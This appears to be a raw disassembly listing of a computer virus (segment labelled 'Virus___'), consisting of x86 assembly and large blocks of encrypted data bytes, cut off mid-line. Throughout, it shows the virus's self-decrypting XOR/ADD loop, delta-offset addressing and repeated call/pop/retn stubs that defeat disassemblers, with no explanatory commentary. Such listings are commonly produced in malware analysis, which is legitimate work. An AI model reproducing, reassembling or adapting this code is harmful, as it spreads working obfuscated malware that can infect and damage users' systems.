dd 0FA8DDA39h, 65CAB3CDh, 0E95BDF8Bh, 4Bh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 9DC35343h, 6290A168h dd 1DE411ECh, 10E5BD89h, 0CB81095Dh, 7465B6F8h, 110C3050h dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h db 0E7h, 0EBh, 36h ; --------------------------------------------------------------------------- loc_5B9533: ; CODE XREF: Virus___:005B910Fj ; Virus___:005B954Aj push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_5B9533 jmp short loc_5B9569 ; --------------------------------------------------------------------------- loc_5B954E: ; CODE XREF: Virus___:005B9565j push eax shr eax, 10h loc_5B9552: ; CODE XREF: Virus___:005B95C2j sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_5B954E jmp short $+2 loc_5B9569: ; CODE XREF: Virus___:005B954Cj mov eax, eax or [ebp+95D233Dh], esi push 0 push edi call sub_5B957C and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B957C proc near ; CODE XREF: Virus___:005B9574p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_5B957C endp ; --------------------------------------------------------------------------- aam 8Fh popa test [esi], al db 64h fsubp st, st mov edi, [ebp+95D276Dh] cmp dword ptr [ebp+95D15F9h], 3 jnz loc_5B99E7 push 0 push ebx call sub_5B95B2 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B95B2 proc near ; CODE XREF: Virus___:005B95AAp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_5B95B2 endp ; --------------------------------------------------------------------------- jle short loc_5B9552 and esp, ebp fisub word ptr [eax] sub al, 95h pop ds mov ebx, [ebp+95D0855h] jno loc_5B95DB mov bx, 0C5DFh loc_5B95DB: ; CODE XREF: Virus___:005B95D1j cmp dword ptr [ebp+960A564h], 0 jz loc_5B99E7 mov [ebp+95D2F45h], eax push dword ptr [ebp+960A564h] mov di, 568Ch and ebx, [ebp+95D2901h] call dword ptr [ebp+95D0A41h] sub [ebp+95D0CE9h], edx mov [ebp+95D1981h], edi mov esi, [ebp+960A558h] push 0 push ebx call sub_5B9621 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B9621 proc near ; CODE XREF: Virus___:005B9619p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_5B9621 endp ; --------------------------------------------------------------------------- cdq cmp eax, 0E5129298h movsb xor [ebp+95D1EF9h], ecx mov dword ptr [esi], 10001h add [ebp+95D2B7Dh], ecx xchg eax, esi mov bl, ch push eax mov ebx, esi xchg eax, esi push 0 push ecx call sub_5B965C loc_5B9659: ; CODE XREF: Virus___:005B9699j and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B965C proc near ; CODE XREF: Virus___:005B9654p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_5B965C endp ; --------------------------------------------------------------------------- pop esi mov ecx, 2FB300D7h movzx edi, ax push dword ptr [ebp+960A564h] push 0 push esi call sub_5B9686 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B9686 proc near ; CODE XREF: Virus___:005B967Ep arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 18h inc esi push esi retn sub_5B9686 endp ; --------------------------------------------------------------------------- adc cl, [ebx-17h] jnz short loc_5B9659 pusha mov al, 3Eh mov cx, 0D18Ch popa call dword ptr [ebp+95D05FDh] push 0 push edi call sub_5B96B4 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B96B4 proc near ; CODE XREF: Virus___:005B96ACp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_5B96B4 endp ; --------------------------------------------------------------------------- dd 0A7B98E06h, 58B58B55h, 6A0960A5h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0CFC2C353h dd 93C3924h, 5D3289B5h, 4D858B09h, 6A095D30h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 192CC353h, 7C97C427h, 0E91C41A3h, 0Dh, 0CB1AF5B2h, 8F920FC6h dd 694095DFh, 0C48689D2h, 81000000h, 97412DEFh, 19958B11h dd 60095D09h, 0CD9589F8h, 61095D18h, 0B39BD89h, 0C283095Dh dd 51006A04h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 664787CFh, 3EDA0068h, 14E92584h, 32000000h dd 162904E4h, 0EDE97309h, 0DCA483ACh, 0EF5BFE15h, 8985A06Bh dd 8DF82050h, 60BBC185h, 8689F809h, 0B8h, 22358D89h, 6A095Dh dd 0AECB8166h, 64B5FF38h, 0F0960A5h, 1787h, 12E900h, 70360000h dd 58C95355h, 4D7893E7h, 0B590EA08h, 52F46208h, 14C995FFh dd 6A095Dh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 769B30C3h, 0A0F4883Eh, 218529B4h, 96095D06h dd 0C51BBF66h, 28C0F50h, 0B7000000h, 6A9647h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 0D35D07C3h dd 0FF119046h, 60A564B5h, 50006A09h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 0F4BB6187h dd 0F672286h, 8Dh, 14E900h, 0AB7C0000h, 88E40604h, 7D0A39AAh dd 0B22DB9E4h, 0F4D807A8h, 95FFB5F0h, 95D137Dh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0BFC35545h, 2B017321h dd 0D1BD83C5h, 95D19h, 29840Fh, 8E0F0000h, 7, 0D3816657h dd 505B0DA4h, 0DF1DBF66h, 0E9243489h, 0Fh, 0C04D20C5h dd 496F0043h, 0DD7A4203h, 0FFECFC79h, 60A564B5h, 51006A09h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 0C833C131h, 0E9605E4Ah, 0Bh, 0E5131816h, 2C74959Bh dd 8B668B89h, 5D05799Dh, 9595FF09h, 6A095D2Fh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 4597C357h, 79BBFE9h, 0ED369055h, 32ED9D8Bh, 0B5FF095Dh dd 960A564h, 7B9B531h, 95FF095Dh, 95D1795h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 75C35545h, 0BF0FF88Fh dd 11BD83DEh, 2095D0Bh, 4D840Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 3ACAC6C3h dd 0B700BBBEh, 8166FEDCh, 8BDDF2F3h, 5D14659Dh, 15858B09h dd 66095D22h, 0C6FA8Bh, 0FDCB300h, 0A8Ah, 5E900h, 452C0000h dd 0C768FE50h, 5D054585h, 9, 0EBB6600h, 0C99D8B2Eh ; --------------------------------------------------------------------------- and ebx, [ebp+9] loc_5B99E7: ; CODE XREF: Virus___:005B95A1j ; Virus___:005B95E2j jmp near ptr dword_5B8A14+33Ah ; --------------------------------------------------------------------------- mov ebx, edi mov eax, ecx push 0 push edx call sub_5B99FB and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B99FB proc near ; CODE XREF: Virus___:005B99F3p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_5B99FB endp ; --------------------------------------------------------------------------- cmp [ecx+39858D19h], bh and bl, [ebp+9] push 0 push ebx call sub_5B9A1F and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B9A1F proc near ; CODE XREF: Virus___:005B9A17p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_5B9A1F endp ; --------------------------------------------------------------------------- align 10h dd 93BB11E1h, 0E91C43A7h, 12h, 0EFAFEE6Bh, 30EAA87Fh, 29D1CDEh dd 0D60AD89Dh, 6690EAA2h, 6650F98Bh, 90976BBBh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0FBC35242h, 0FF3511Ah dd 48Ch, 5B505000h, 6A006A5Fh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 484C357h, 2DBDDA49h dd 0B9BD8B50h, 5B095D21h, 840F006Ah, 0 ; --------------------------------------------------------------------------- lea eax, [ebp+961F105h] push 0 push ecx call sub_5B9AC5 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B9AC5 proc near ; CODE XREF: Virus___:005B9ABDp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_5B9AC5 endp ; --------------------------------------------------------------------------- db 57h, 22h, 52h ; --------------------------------------------------------------------------- mov ebp, 1E72695h push edi mov ah, [ebx] mov ebp, 95D2A05h add eax, 5 push 0 push ecx call sub_5B9AF3 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B9AF3 proc near ; CODE XREF: Virus___:005B9AEBp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_5B9AF3 endp ; --------------------------------------------------------------------------- db 0B8h dd 31A406C4h, 0B70F6041h, 0DE8F9h, 0DFD80000h, 0EFEA2164h dd 7F3A15C0h, 66F666CDh, 5A203EBAh, 52505061h, 310FD88Bh dd 0BE960h, 43760000h, 0BF017F5Eh, 3E7CA423h, 61ACB6B6h dd 489585Ah, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1804h, 0C3564600h, 22071234h, 6AFE8B22h, 0F7816600h dd 6A5A97h, 6890Fh, 95310000h, 95D12F5h, 85195FFh, 3360095Dh dd 5D16E195h, 87D1BF09h, 8D613CC2h, 60914C8Dh, 0CB7BBF09h dd 0D1FF120Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 0AFC35242h, 5F096A80h, 858B60D1h, 95D1A2Dh, 71BD8361h dd 1095D09h, 63850Fh, 81660000h, 6A60B8D3h, 56006A02h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 4BD77AFCh, 6DB7177Ch, 50503809h, 5FFE8B66h, 0FF240489h dd 5D14C995h, 57006A09h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1B04h, 0C3574700h, 3B535FBBh, 8F6331D6h, 0FBC38166h dd 0D27E965h, 0E80000h, 5D000000h, 0F10FED81h, 23600961h dd 5D18DD9Dh, 75953309h, 61095D21h, 23099D8Bh, 77BF095Dh dd 8D25EDDFh, 608AE285h, 51006A09h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 603D7150h, 0EE8FCh, 0D2F60000h dd 9548BD17h, 45D8AE03h, 24A34B4h, 182D8D89h, 505B095Dh dd 489D98Bh, 0D810F24h, 0E9000000h, 8, 0C418D14Fh, 80364DE6h dd 23859D8Bh, 0FF64095Dh, 35h, 0ADBD8B00h, 64095D04h, 2589h dd 0BD8B0000h, 95D1715h, 85FFDAB7h, 95D2169h, 9E9h, 50418F00h dd 0D9F3C37Ah, 535235A7h, 4CEB8166h, 6A5F5BD7h, 4C7EBBFFh dd 0B5FF5FE0h, 95D0525h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 77C35040h, 95FF93F8h, 95D0385h, 16CE9h dd 11E900h, 0B5330000h, 0A4B4529h, 6FB5A1C7h, 0C8C389F4h dd 6614FAFAh, 7EC4D381h, 5B5200B0h, 0B15C76BBh, 8970E66Fh dd 5D0725BDh, 6671E409h, 7DB7F381h, 830F613Ch, 131h, 29DD9589h dd 0B60F095Dh, 858B60C8h, 95D0861h, 0E811BE66h, 6BA61h dd 81660000h, 8B92D9E3h, 0EE9C1h, 14940000h, 0AE981927h dd 8FAEF0A7h, 174D811Bh, 8004E8C1h, 0F766A5E7h, 599509E2h dd 2B095D1Ah, 8BE9B7C8h, 0E3E9D1h, 0E8600000h, 5, 8D0FC708h dd 0BEBB5FDDh, 617340AEh, 4C50858Bh, 0BD8B4755h, 95D2811h dd 8907C083h, 5D24818Dh, 0C870F09h, 0F000000h, 684h, 0DD8D8900h dd 83095D0Ch, 0BB6600C0h, 0D03BF5FDh, 26830Fh, 5E90000h dd 5A000000h, 0B6282D7Fh, 8CE9h, 12E900h, 0FCDC0000h, 0D6047B61h dd 0DEE026F4h, 3E1EF9CCh, 0C6FE86E0h, 0FFFF8D8Bh, 0BE8FFFFh dd 9F000000h, 0E3F4B9FDh, 19897A56h, 5BF56DDAh, 0F01E183h dd 5484h, 0E1958900h, 83095D16h, 0FFFFFFA5h, 0B589FEFFh dd 95D0561h, 4C509589h, 13E94755h, 44000000h, 0DBD4E542h dd 0BF8C7DA2h, 55D39A04h, 0F3F16C74h, 12E80E27h, 0DB000000h dd 0AD757E85h, 58FF08A8h, 0DD31684Dh, 7CBF74BEh, 819D8B0Bh dd 5B095D24h, 0E9h, 8AB58D00h, 66096168h, 6A757BBFh, 22CF8100h dd 0FF428DD0h, 5D11B195h, 0B9F98B09h, 1135h, 5E9h, 0B7FBCC00h dd 0E183A4F1h, 665660FCh, 5659D38Bh, 13A9858Bh, 615F095Dh dd 0DBBF0FFCh, 8589C02Bh, 95D16B9h, 0BAh, 6890F00h, 8B000000h dd 5D10B59Dh, 0C233AD09h, 0D003E8D1h, 7504E983h, 53006AF4h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 6A069C78h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 80C353h, 0BD293082h, 95D216Dh dd 880Dh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 883C6772h, 0CB1AF5B2h, 958B0FC6h dd 95D0919h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 3EC35747h, 56E9CADFh, 0F6A22A30h, 21BD8905h, 0F8095D28h dd 12859D8Bh, 8D8B095Dh, 95D1349h, 8BC28B50h, 8BC10318h dd 0D1C18B18h, 8BC203E8h, 4DBF5818h, 6A6470D5h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 4E0FC352h, 69BD8389h, 95D31h, 91840Fh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 606D40C3h, 0B7C68B66h, 0B861F2h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 8F4CC355h, 0B7BA1769h, 8D2C1F16h, 5D4D928Dh, 55006A09h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 0C9033E93h, 4A73228h, 0D4EB8166h, 0D98B6658h, 830FE1FFh dd 6, 32F98531h, 20BF095Dh, 836381CEh, 5D15F9BDh, 840F0009h dd 44Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 0B4C35545h, 33D381B6h, 830E9A4Fh, 5D15F9BDh, 840F0109h dd 435h, 0E3635BBFh, 0F9BD8336h, 3095D15h, 3ED860Fh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 0D221BCC3h, 667B5528h, 0F84BDF81h, 55006A60h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 364978CFh, 0CA58B624h, 0D98C669Ch, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 39C35747h, 0C75E1BB6h, 0DEDCBB66h dd 8B04E180h, 5D2AD5BDh, 0FC90A09h, 11F84h, 0F3816600h dd 9589E805h, 95D2081h, 2C0D858Bh, 0DF8B095Dh, 27658533h dd 6A095Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 0B9C481C3h, 6C9FBF4Dh, 358D31h, 0BF90095Dh dd 0A01ACE6h, 8B666050h, 10E8D1h, 96ED0000h, 0CDE301FBh dd 92B4BB82h, 909EB5F6h, 52502459h, 585A310Fh, 6A90615Ah dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 0CB98C351h, 899654CCh, 5D27B19Dh, 0F9B58909h dd 6A095D2Bh, 0DFBF6000h, 0F443585h, 68Bh, 0ADE28100h dd 612BC9B4h, 0C5F50A68h, 8138B7A9h, 0EF52404h, 0BE85659h dd 0 dd 3610FE48h, 364E526Dh, 9D8BF683h, 95D12ADh, 0DBB70F5Fh dd 0FAD95FFh, 6652095Dh, 5BC804BFh, 0A5648589h, 6A0960h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 0F7E537C3h, 0B292F890h, 0BD8B2DE7h, 95D28B9h, 0D4EF8166h dd 1D0E935h, 0D7810000h, 33132ACDh, 0A55C858Bh, 6A0960h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 0FB1A45C3h, 174FE9F5h, 0C9DBD8Bh, 9589095Dh, 95D2B75h dd 1800C7h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 8BEC36C3h, 5D1EEDBDh, 60B58B09h dd 6A0960A5h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 0CAFEC350h, 8B6709C2h, 5D315185h dd 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 89E4ECA7h, 0E1BD0306h, 8B095D16h, 5D2C0D85h dd 12E96009h, 0C8000000h, 0E21B5AE4h, 0E31A9DA4h, 0AD8F501Ch dd 203243EAh, 46896130h, 38B0F04h, 0F000000h, 0BD89F9BFh dd 95D2811h, 0C9BB6650h, 24348921h, 0A55CB5FFh, 6A0960h dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 0BD8B26C3h, 95D18CDh, 4E8h, 1F03FF00h, 50FC8A00h, 448B21B7h dd 8B600424h, 0AE8DEh, 7BFE0000h, 28537E3Bh, 3DFA5D2Ch dd 615B6160h, 0EE9008Bh, 0EA000000h, 2E8A1347h, 0FAFC3FD2h dd 852CB086h, 244489B9h, 2870F04h, 8A000000h, 958958DDh dd 95D0345h, 0A564858Dh, 6A0960h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 0F5C23EC3h, 0F6A704AAh dd 0C3819570h, 61A93D35h, 50FB8B90h, 6A90FE8Bh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 11A9C350h, 18D2711Fh, 80F6B40Fh, 0BF0F26F3h, 0AD95FFDBh dd 80095D0Fh, 6A619CC7h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 5767C350h, 4FF319E0h dd 6880Fh, 0D3810000h, 3933D971h, 15F985C7h, 3095Dh, 0DB810000h dd 36CC33BAh, 182D9D8Bh, 0BD83095Dh, 960A564h, 30840F00h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 9BDAC350h, 0F5C8F450h, 0B84DA818h dd 21E9h, 7CF8100h, 50729377h, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 6AC08Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 150424h, 50400000h, 8991E5C3h, 5D1711BDh dd 68A0F09h, 89000000h, 5D28F9BDh, 4D9D8B09h, 83095D31h dd 5D15F9BDh, 850F0309h, 3CEh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 7EC35747h, 0FC716152h, 40B71424h dd 5298589h, 0B501095Dh, 95D0C7Dh, 0A564BD83h, 0F000960h dd 39184h, 14E78000h, 0A564B5FFh, 6A0960h, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 8B494FC3h dd 5D23259Dh, 0DF8B6609h, 0A4195FFh, 0B501095Dh, 95D2515h dd 0A558B58Bh, 6C70960h, 10001h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 0C6C35242h, 52509631h, 6E950h dd 37D40000h, 697B34B3h, 53310F5Bh, 310F5250h, 5A5F585Ah dd 52505058h, 310FDAB3h, 5AFA8B66h, 6A9658h, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 0BF66E0C3h dd 0B5FFD602h, 960A564h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 0FFC35343h, 72E46095h, 9C7087B2h, 95FFFC9Eh dd 95D05FDh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 48C35242h, 0D6DB2878h, 85312E11h, 95D2C09h, 7E9h dd 93166300h, 8A2E32B9h, 0A558B58Bh, 6A0960h, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 858B79C3h dd 95D304Dh, 0C48689h, 0F9530000h, 19958B5Bh, 8B095D09h dd 5D19B9BDh, 4C28309h, 89DFBF0Fh, 6A2050h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0BF0F2DC3h dd 0C1858DFEh, 6A0960BBh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 0CAD1C351h, 0CE916CBh dd 41000000h, 0D15AFA28h, 8B3CBFDh, 89B88D80h, 0B886h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 3FB2DABCh, 8B8A5F9Ch, 5D25259Dh, 0C7816609h dd 6A31A1h, 549BD01h, 0B5FF095Dh, 960A564h, 95FFFA8Bh dd 95D14C9h, 18830Fh, 13E90000h, 0DE000000h, 0AB268152h dd 0E10FEB16h, 5E8F856h, 0F38263Ch, 565065D4h, 0C9DDBB50h dd 5F5F3E88h, 6A243489h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 7D4CC350h, 0E4FCB186h dd 64B5FF5Eh, 8B0960A5h, 5D0BA1BDh, 7D95FF09h, 0F095D13h dd 0BD83DBB7h, 95D19D1h, 6B840F00h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 0E4CDC357h, 0C10FCBC9h, 452290E1h, 39DBBFh, 0E8509607h dd 13h, 1845A44Ah, 2FDB7FD8h, 912617A5h, 43457188h, 8B188EF7h dd 6A965FF9h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 0A4CFC356h, 6B8A3E68h, 0B5FFF5FDh dd 960A564h, 0FFD9BF0Fh, 5D2F9595h, 0BF666009h, 8B665606h dd 0B5FF61C6h, 960A564h, 0ADD38166h, 9595FF22h, 0F9095D17h dd 0B11BD83h, 0F02095Dh, 7984h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 510994h, 89186C6Dh dd 5D33D98Dh, 88BB6609h, 15858B60h, 6A095D22h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h dd 688AC353h, 8EE5DCD4h, 16A99D01h, 0C6095Dh, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 85C7C4EDh, 95D0545h, 0 dd 9C18589h, 0D8E9095Dh, 6AFFFFF3h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 1575C357h dd 0A7F819Dh, 6AC18BC3h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 64BCC351h, 39858D2Ch dd 6A095D22h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 48C0C356h, 1F276A3Eh, 60B81437h dd 71EE8166h, 665061B3h, 89FE28BFh, 6A2404h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0EE98AC3h dd 26000000h, 3A57B103h, 7023ABB9h, 38E267D8h, 6800F0Bh dd 0F000000h, 8Bh, 6A006A00h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 218AC352h, 0F9981A50h dd 8914D0D2h, 5D3175B5h, 6A006A09h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0BDBDC356h dd 0BC82D4E6h, 8B1A0AC4h, 5D195D9Dh, 0FB858D09h, 0BB0961FFh dd 35EBA147h, 6A05C083h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 1ED3C353h, 0F916D990h dd 2F09BD8Bh, 0F90095Dh, 285h, 50DF8B00h, 90F88B66h, 6A006Ah dd 1A999D8Bh, 95FF095Dh, 95D0851h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 6DC35242h, 0C9033E93h, 4A73228h dd 0C7816642h, 1520346h, 5D001D9Dh, 8D8D5B09h, 960914Ch dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 5CC35747h dd 0FFA1D790h, 1D9589D1h, 83095D29h, 5D0971BDh, 850F0109h dd 3Fh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h dd 0AFC35141h, 0BFF89367h, 8BD9BF0Fh, 50026ADAh, 489F98Bh dd 0DD858924h, 0FF095D05h, 5D14C995h, 0AD9D2909h, 0E9095D22h dd 0C35h, 0E8h, 0ED815D00h, 9620005h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 85C35040h, 8148E954h, 628728E3h dd 52006A25h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 0EF812446h, 61FAFE82h, 8DFE8B66h, 608AE285h dd 68D0F09h, 29000000h, 5D2A299Dh, 8B669009h, 0BE850FAh dd 5D000000h, 1A4A9CDCh, 4E3E442Ah, 14E9CC0Ah, 50000000h dd 0F1073708h, 0A6531C94h, 2551D40Bh, 2990CE57h, 5B4CA7EAh dd 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 671577A7h, 0B70F5819h, 35FF64DBh, 0 ; --------------------------------------------------------------------------- push 0 push esi call sub_5BABFF and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BABFF proc near ; CODE XREF: Virus___:005BABF7p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_5BABFF endp ; --------------------------------------------------------------------------- xor al, 0C9h sti xchg eax, edx retn ; --------------------------------------------------------------------------- dd 645C930Bh, 2589h, 0DA8B0000h, 216985FFh, 6A095Dh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 18FFC8C3h, 0FFF6AF5h, 0B5FFFEB7h, 95D18C9h, 8595FFFCh dd 0E9095D03h, 107h, 32DDBD8Bh, 0B0095Dh, 246DBD31h, 13E8095Dh dd 96000000h, 51283E96h, 0A028D711h, 705737D8h, 0AD54394Ch dd 0BD8B3C51h, 95D0A25h, 0F70E65Bh, 71E4F9BFh, 33098529h dd 613C095Dh, 0C5830Fh, 0BD8B0000h, 95D2439h, 8BC8B60Fh dd 6BADAh, 8B660000h, 29C18BD8h, 5D24819Dh, 4E8C109h, 6673EF80h dd 0C82BE2F7h, 0EE8h, 8C00AA00h, 4AF79F50h, 554CCCE3h dd 8BE22797h, 5D1911BDh, 0D18B5B09h, 958D0360h, 0FC095D30h dd 75E961h, 0F8600000h, 68E0Fh, 85290000h, 95D1A89h, 49858B61h dd 8344004Eh, 9D8B07C0h, 95D0B0Dh, 8900C083h, 5D2601BDh dd 0FD03B09h, 1183h, 8D9D8B00h, 0E9095D32h, 3Bh, 29E58529h dd 8D8B095Dh, 0FFFFFFFFh, 0F01E183h, 2684h, 80CF8100h dd 8B2AA805h, 0FFA583DFh, 0FEFFFFFFh, 0ED16EB81h, 958922EFh dd 44004E49h, 31C9BD33h, 0E9095Dh, 8D000000h, 6179BFB5h dd 53006A09h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 97A8A21Ch, 0EDB67300h, 9D297783h, 95D2C05h dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 88E994C3h, 95FF1839h, 95D11B1h, 8DB9FE8Bh dd 6A00000Fh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 0E616C350h, 95DDFEBFh, 1DBD89C6h dd 83095D25h, 0BF66FCE1h, 9589BE02h, 95D198Dh, 9CE781FCh dd 2B6323BBh, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 60FEDFD2h, 9E9h, 0DB042E00h, 5C588832h dd 85294A5Fh, 95D3209h, 35BF6661h, 1D22B2Dh, 5D0A2595h dd 0C233AD09h, 0D003E8D1h, 